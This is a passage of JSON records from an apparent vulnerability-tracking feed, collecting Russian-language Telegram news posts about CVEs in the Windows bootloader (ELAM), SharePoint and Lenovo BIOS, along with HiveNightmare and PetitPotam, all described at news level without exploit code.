\u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u0440\u0430\u043d\u043d\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0417\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 ELAM \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u044b.\n\n\u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a Windows \u0432\u0438\u0434\u0438\u0442 \u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043e\u0434\u043d\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u0432 \u0432\u0435\u0442\u043a\u0435 ELAM, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e Windows \u0432\u0438\u0434\u0438\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u0432 \u044d\u0442\u043e\u0439 \u0432\u0435\u0442\u043a\u0435: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u0445 ELAM \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440. \u0422\u043e \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0432 \u043a\u043e\u0434\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 (registry parsing code) \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 Windows \u0438 \u044f\u0434\u0440\u0430 Windows.\n\n\u0427\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u044b \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Medium (\u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c).", "creation_timestamp": "2026-07-25T03:00:03.877331Z"}, {"uuid": "900edd8f-075f-4b1f-809a-cf11ee4fa629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/bin_z0ne/406", "content": "\u00ab\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0431\u0435\u0433\u0435\u043c\u043e\u0442 \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b\u00bb \u2014 \u043d\u0435\u0442, \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430, \u0430 \u043f\u043e\u0434\u0432\u043e\u0434\u043a\u0430 \u043a \u0448\u0435\u0441\u0442\u043e\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u043e\u0442 \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u041f\u043e\u0435\u0445\u0430\u043b\u0438\ud83d\udd25\n\nHiveNightmare \u2014 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043a\u043e\u0448\u043c\u0430\u0440 \n\n\u0412 Windows 10 \u0438 11 \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Hivenightmare, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u0420\u0435\u0447\u044c \u043e CVE-2021-36934, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043b\u0435\u0437\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0435\u0441\u0442\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \n\n\u0418 \u0435\u0449\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e \u0431\u0440\u0435\u0448\u0430\u0445 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows\n\nPetitPotam (\u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0431\u0435\u0433\u0435\u043c\u043e\u0442) \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u0437 \u0424\u0440\u0430\u043d\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f PetitPotam, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0434\u043e\u043c\u0435\u043d\u0430\u043c\u0438 Windows, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u044b \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445.\n\nRCE \u0432 Microsoft SharePoint\n\n\u0420\u0435\u0447\u044c \u043e CVE-2021-28474. \u041f\u0440\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0430\u0439\u0442\u0430 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SharePoint. \n\n\u0423\u043a\u0440\u0430\u0434\u0438 \u043d\u043e\u0443\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438\n\n\u041e\u0442\u0432\u043b\u0435\u0447\u0435\u043c\u0441\u044f \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 Dolos Group \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442: \u043e\u043d\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u043e\u0443\u0442 \u0441\u0432\u043e\u0435\u0433\u043e \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043a\u0430\u043a \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0435\u0442\u044c. \u042d\u0442\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0432\u043f\u043e\u043b\u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0434\u0430\u0436\u0435 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0433\u043e \u044f\u0449\u0438\u043a\u0430.\n\n\u0425\u0430\u043a\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0441\u0438\u0445\u0430\u043d\u0443\u043b\n\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0432\u0430\u043d\u0442\u044e\u0440\u0435: \u0445\u0430\u043a\u0435\u0440 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 Poly Network \u0438 \u043f\u043e\u0445\u0438\u0442\u0438\u043b \u043a\u0440\u0438\u043f\u0442\u0443 \u043d\u0430 600 \u043c\u043b\u043d \u0434\u043e\u043b\u043b. \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043d \u043d\u0430\u0447\u0430\u043b \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u043e\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0442 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044f \u0432 500 \u0442\u044b\u0441. \u0434\u043e\u043b\u043b. \u0413\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b \u044d\u0442\u043e \u0438\u0437 \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430.\n\n#threatzonenews", "creation_timestamp": "2026-07-26T00:00:47.172830Z"}, {"uuid": "4ffd7282-3163-4e42-be8e-30a08a1a3b12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28447", "type": "seen", "source": "https://t.me/bin_z0ne/395", "content": "\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2021 \u0433. \u043d\u0430\u0448 \u043a\u043e\u043b\u043b\u0435\u0433\u0430 \u041c\u0430\u043a\u0441 \u0421\u0443\u0445\u0430\u043d\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0435 \u041e\u0421 Windows: CVE-2021-28447 \u0438 CVE-2021-27094. \u041e\u043d\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b Early Launch Anti-Malware (ELAM), \u043d\u0435 \u043f\u043e\u0432\u043b\u0438\u044f\u0432 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\nELAM \u2014 \u044d\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0440\u0443\u0442\u043a\u0438\u0442\u043e\u0432 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u0440\u0430\u043d\u043d\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0417\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 ELAM \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u044b \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u044b.\n\n\u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a Windows \u0432\u0438\u0434\u0438\u0442 \u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043e\u0434\u043d\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u0432 \u0432\u0435\u0442\u043a\u0435 ELAM, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e Windows \u0432\u0438\u0434\u0438\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u0432 \u044d\u0442\u043e\u0439 \u0432\u0435\u0442\u043a\u0435: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u0445 ELAM \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440. \u0422\u043e \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0432 \u043a\u043e\u0434\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 (registry parsing code) \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 Windows \u0438 \u044f\u0434\u0440\u0430 Windows.\n\n\u0427\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u044b \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Medium (\u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c).", "creation_timestamp": "2026-07-26T00:00:47.352345Z"}, {"uuid": "2e3e6712-72d6-4bc1-b98c-eb429eec842f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28216", "type": "seen", "source": "https://t.me/EchelonEyes/681", "content": "\u0412 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Lenovo \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIOS\n\n\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Lenovo \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 BIOS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0442\u043d\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 (Desktop, All in One, IdeaCentre, Legion, ThinkCentre, ThinkPad, ThinkAgile, ThinkStation, ThinkSystem).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445, \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nCVE-2021-28216 \u2013 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 TianoCore EDK II BIOS (\u044d\u0442\u0430\u043b\u043e\u043d\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f UEFI), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434;\n\n\u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2022-40134, CVE-2022-40135, CVE-2022-40136) \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c SMM.\n\nCVE-2022-40137 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 WMI SMI, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0412\u0435\u043d\u0434\u043e\u0440 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://support.lenovo.com/us/en/product_security/LEN-94953 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Lenovo", "creation_timestamp": "2026-07-26T02:02:40.531899Z"}, {"uuid": "a545ce17-4305-4b05-8e7f-d160b4f90d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28216", "type": "seen", "source": "https://t.me/EchelonEyes/681", "content": "\u0412 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Lenovo \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIOS\n\n\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Lenovo \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 BIOS, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u0441\u043e\u0442\u043d\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 (Desktop, All in One, IdeaCentre, Legion, ThinkCentre, ThinkPad, ThinkAgile, ThinkStation, ThinkSystem).\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445, \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nCVE-2021-28216 \u2013 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 TianoCore EDK II BIOS (\u044d\u0442\u0430\u043b\u043e\u043d\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f UEFI), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 